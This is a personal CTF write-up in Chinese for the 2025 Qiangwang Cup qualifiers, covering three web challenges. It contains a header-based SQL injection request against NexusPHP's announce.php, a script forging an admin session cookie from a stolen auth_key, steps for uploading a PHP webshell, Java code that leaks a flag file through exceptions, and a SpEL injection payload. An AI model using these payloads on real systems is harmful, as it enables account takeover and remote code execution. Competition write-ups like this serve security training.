第九届“强网杯”全国网络安全挑战赛初赛 2025 个人题解 Writeup
PTer
/openresty/sites/app.conf,可能就是题目所说的安全更新 ?
那我们重点关注/announce.php

IP这里是可控的,可以伪造IP,直接拼接会造成sql注入

可以sql注入,但是密码加盐了
获取一个种子文件的info_hash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import hashlib import bencodepy def calculate_info_hash(torrent_file_path): # 读取种子文件 with open(torrent_file_path, 'rb') as f: torrent_data = f.read() # 解析种子文件 torrent = bencodepy.decode(torrent_data) # 获取info字典并计算其SHA1哈希 info_dict = torrent[b'info'] info_bencoded = bencodepy.encode(info_dict) info_hash = hashlib.sha1(info_bencoded).digest() return info_hash # 使用示例 torrent_path = "zhongzi.torrent" info_hash = calculate_info_hash(torrent_path) # 输出十六进制格式 print("info_hash (hex):", info_hash.hex()) # 输出URL编码格式(用于HTTP请求) url_encoded = ''.join(['%%%02X' % b for b in info_hash]) print("info_hash (URL encoded):", url_encoded)
#info_hash (hex): 2caa6a5f5227bea76bbe4ab88a2da4b5cd6b7c1f #info_hash (URL encoded): %2C%AA%6A%5F%52%27%BE%A7%6B%BE%4A%B8%8A%2D%A4%B5%CD%6B%7C%1F
|
nexusPHP对客户端类型有要求,禁止一些客户端进行连接,通过peer_id和User-Agent来识别客户端
不知道为什么,我这里sql注入无法稳定出现,需要多次发包
sql注入手注数据包(yakit)
1 2 3 4 5 6 7 8 9
| GET /announce.php?passkey=0ef547977bb67b8fdf34dbba8ac28efa&info_hash=%2C%AA%6A%5F%52%27%BE%A7%6B%BE%4A%B8%8A%2D%A4%B5%CD%6B%7C%1F&peer_id=-UT2000-121466780701&port=3881&downloaded=0&uploaded=0&left=0&ipx=15.{{int(1-2)}}.3.5&event=stopped HTTP/1.1 Host: pter.qwb.local Cookie: c_secure_pass=eyJ1c2VyX2lkIjoiMTAwMDIiLCJleHBpcmVzIjoxNzkyMjk1OTczfS43ODA1MTVhYjkwNGNlOWZlYTY5OTcxMmEwNGMxNTRhZTY5ZmM2YzIxM2YzZGRhNGI0ZWY1ZDhiMmZiYWU4N2Zk Upgrade-Insecure-Requests: 1 User-Agent: uTorrent/2000 X-Forwarded-For: 1' UNION ( SELECT 1 FROM users WHERE (username='admin' and auth_key > '73ec97f741') ) -- # ' Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
|
我手注一晚上的成果
1 2 3 4 5 6 7 8 9
| #passhash 3f54e9d81e9ce7a9c275c0e947db6bda1be213e868769461d03c3377b0eead18
#secret(没注完) 4bb3ce43697
#直接用auth_key生成cookie就好 auth_key 73ec97f74152abca89d44ec21be2e46b54b86947
|
密码加盐了,但是我们可以直接注入获取auth_key来生成token
通过注入获取admin用户的auth_key生成c_secure_pass
分析一下token的生成逻辑

模仿这里的代码写一个php小脚本来生成token
1 2 3 4 5 6 7 8 9 10
| <?php $authKey="73ec97f74152abca89d44ec21be2e46b54b86947"; $tokenData = [ 'user_id' => '1', 'expires' => '1792295973', ]; $tokenJson = json_encode($tokenData); $signature = hash_hmac('sha256', $tokenJson, $authKey); $authToken = base64_encode($tokenJson . '.' . $signature); echo $authToken;
|
登录到后台
修改网站设置,开启附件上传功能,添加php到文件上传白名单,同时修改附件保存位置到public,以便上传的webshell可以被我们访问
分析attachement.php

发现会上传文件到$savepath,这个变量是我们可以设置的附件保存位置,并且虽然对文件进行了重命名,但文件名是可以预测的,$filename是当前YmdHis拼接$filemd5

模拟php的md5_file()函数获取文件的md5哈希,或者用cyberchef
1 2 3 4 5 6 7 8 9 10 11 12 13
| import hashlib
def md5_file(file_path): """模拟 PHP 的 md5_file() 函数""" with open(file_path, 'rb') as f: file_content = f.read() md5_hash = hashlib.md5(file_content).hexdigest() return md5_hash
# 使用示例 file_path = "evil.php" hash_value = md5_file(file_path) print(f"MD5: {hash_value}")
|
getshell

yamcs
没啥好说的
Algorithms可以执行java代码,通过抛出报错外带flag
1 2 3 4 5 6 7 8
| try { String flag = new String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag"))); // 直接抛出包含flag的异常 throw new RuntimeException("FLAG: " + flag); } catch (Exception e) { // 重新抛出,确保错误信息包含flag throw new RuntimeException("FLAG: " + e.getMessage(), e); }
|

bbjv

似乎将user.home修改为/tmp就能获取到flag了
Properties类实现了Map接口,我们可以尝试Map的方法:
payload
1
| /check?rule=%23%7B%23systemProperties%5B%27user.home%27%5D+%3D+%27%2Ftmp%27%7D
|
忘记发了💦💦💦